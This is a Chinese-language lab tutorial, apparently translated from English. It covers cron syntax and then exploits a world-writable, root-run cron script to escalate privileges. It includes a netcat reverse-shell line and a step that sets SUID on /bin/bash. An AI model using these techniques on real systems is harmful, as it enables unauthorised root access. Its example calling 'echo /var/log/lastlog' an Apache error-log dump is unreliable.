学习 Nmap 中的 Cron 任务和权限提升

Beginner

💡 本教程由 AI 辅助翻译自英文原版。如需查看原文,您可以 切换至英文原版

介绍

在本实验中,我们将学习 Cron Jobs 和 cron 语法,并通过动手练习,你将快速掌握 crontab 的使用方法。此外,我们还将了解如何利用错误的 crontab 配置在 Linux 上进行权限提升。


Skills Graph

理解 Cron Jobs 和 Cron 语法

在这一步中,我们将介绍 Cron Jobs 和 cron 语法。

Cron Jobs 是 Linux 系统中的“定时任务”,通常用于调度需要定期执行的命令,例如定期数据备份或缓存清理。它们被称为 Cron Jobs,因为它们使用了 cron 工具(crontab)。

Cron Jobs 是系统管理员最常用的工具之一,它们本身是非常强大的工具。然而,如果“定时任务”被设置为以更高用户权限(例如 root 用户)运行,攻击者可能会利用它们进行权限提升。

crontab 命令使用以下语法:

*    *    *    *    *   [ user ] File/Command
-    -    -    -    -
|    |    |    |    |
|    |    |    |    +----- 星期几 (0 - 7) (0 = 星期日)
|    |    |    +---------- 月份 (1 - 12)
|    |    +--------------- 日期 (1 - 31)
|    +-------------------- 小时 (0 - 23)
+------------------------- 分钟 (0 - 59)

user 字段是可选的。如果未指定,命令或脚本将以当前用户的权限执行。

请注意,只有 root 用户可以指定以其他用户的权限执行命令或脚本。

例如,如果我们希望每小时输出 Apache 错误日志,可以使用以下语句:

0 * * * * echo /var/log/lastlog

由于 hourdaymonthweek 都设置为 *,定时任务将在每分钟达到 0 时执行一次,即每小时执行一次。

如果我们需要每两小时的第 15 分钟执行一次命令,可以简单修改如下:

15 */2 * * * echo /var/log/lastlog

为了理解 cron 的用法,我们来看一个示例。

  1. 打开终端并导航到 /home/labex/project 目录。然后执行以下命令以初始化实验环境:

    ./env_setup1.sh

    成功初始化后,你将在 labex 用户的主目录中看到 cleanup.py 文件和 trashDirectory 目录。trashDirectory 目录中包含两个文件:error.logreadme.txt

    我们的实验目标如下:使用 crontab 添加一个定时任务,每分钟调用一次 cleanup.py 脚本,以清除 /home/labex/project/trashDirectory 目录中的所有数据。cleanup.py 脚本通过 os.system() 函数调用 rm 系统命令来清除 /home/labex/project/trashDirectory 目录。

  2. 接下来,使用以下命令在 crontab 中添加定时任务:

    echo "* * * * * root python /home/labex/project/cleanup.py" | sudo tee -a /etc/crontab > /dev/null

    上述命令向 crontab 文件中添加了一个定时任务。该任务将 每分钟 执行一次,并且 cleanup.py 脚本将以 root 权限执行。

  3. 由于我们的实验机器上默认禁用了 cron 服务,我们需要使用以下命令手动启动它:

    sudo service cron start

    预期输出:

    * Starting periodic command scheduler cron

    大约 一分钟后,如果我们进入 /home/labex/project/trashDirectory 目录并使用 ls 命令,我们将看到目录中的数据已被清除,这表明 cron job 正在正确执行。

通过覆盖 Crontab 脚本执行反向 Shell

在这一步中,我们将学习如何通过覆盖 crontab 调用的脚本来提升权限。

  1. 首先,打开终端并导航到 /home/labex/project 目录。然后执行以下命令以初始化实验环境:

    cd /home/labex/project

    运行脚本以初始化实验环境:

    ./env_setup2.sh
  2. 成功初始化后,使用以下命令查看主机上的定时任务:

    cat /etc/crontab

    文件末尾的一个定时任务引起了我们的注意:系统每分钟以 root 权限执行一个 /home/labex/project/cleanup.py 脚本,这是我们上一步中使用的文件。

  3. 接下来,让我们检查脚本的权限:

    ls -al /home/labex/project/cleanup.py

    我们注意到 cleanup.py 的文件权限设置存在风险:其他用户也具有写(w)权限,这意味着我们可以编辑和修改 cleanup.py 的内容!

  4. 由于 cleanup.py 是以 root 权限执行的,我们可以使用反向 shell 来获取 root 权限。

    通过修改 cleanup.py 脚本,使用 nc.traditional 将反向 shell 发送到本地端口 4444:

    ...
    os.system("nc.traditional 127.0.0.1 4444 -e /bin/bash")
    ...

    保存文件后,更改将在一分钟后生效。

    我们使用 nc.traditional 的原因是默认的 nc 命令不支持 -e 选项。

  5. 然后,执行以下命令以监听本地端口 4444:

    nc -lnvp 4444

    预期输出:

    Listening on 0.0.0.0 4444

    等待片刻后,我们成功接收到一个具有 root 权限的反向 shell。

    Connection received on 127.0.0.1 45480

    尝试执行 whoami 命令以检查当前用户:

    whoami
    root

通过覆盖 Crontab 脚本为 Bash 设置 SUID

你还记得我们之前讨论过的 SUID 权限提升吗?我们也可以使用 cleanup.py 脚本来修改某些可执行文件的权限,使其具有 setuid 位,从而利用它们进行 SUID 权限提升,例如为 bash 设置 setuid 位。

在上一步之后,你可能仍然处于 root shell 中。对于这一步,你需要退出 root shell 并重新以 labex 用户登录,执行以下命令:

exit

或者你可以打开一个新的终端并以 labex 用户登录。

然后,执行以下命令导航到 /home/labex/project 目录:

cd /home/labex/project
  1. 目前,/bin/bash 没有设置 setuid 位:

    ls -l /bin/bash
  2. 类似于上一步,将 cleanup.py 脚本执行的命令修改为以下命令:

    ...
    os.system("chmod +s /bin/bash")
    ...
  3. 过一段时间后,如果我们检查 /bin/bash,会发现它现在设置了 setuid 位,表明定时任务已成功执行:

    ls -l /bin/bash

    预期输出:

    -rwsr-sr-x 1 root root 1396520 Jan 7 2022 /bin/bash

    如上所示,我们现在可以使用 bash -p 来获取 root 权限。

    labex:project/ $ bash -p
    bash-5.1## whoami
    root
  4. /root 目录中创建一个名为 success.txt 的文件,以表示你已成功提升权限:

    echo "Congratulations! You have successfully escalated privileges to root." > /root/success.txt

总结

在本实验中,我们学习了 Cron Jobs 和 cron 语法,并通过动手练习掌握了 crontab 的使用方法。最后,我们利用错误的 crontab 配置成功将 shell 权限提升至 root。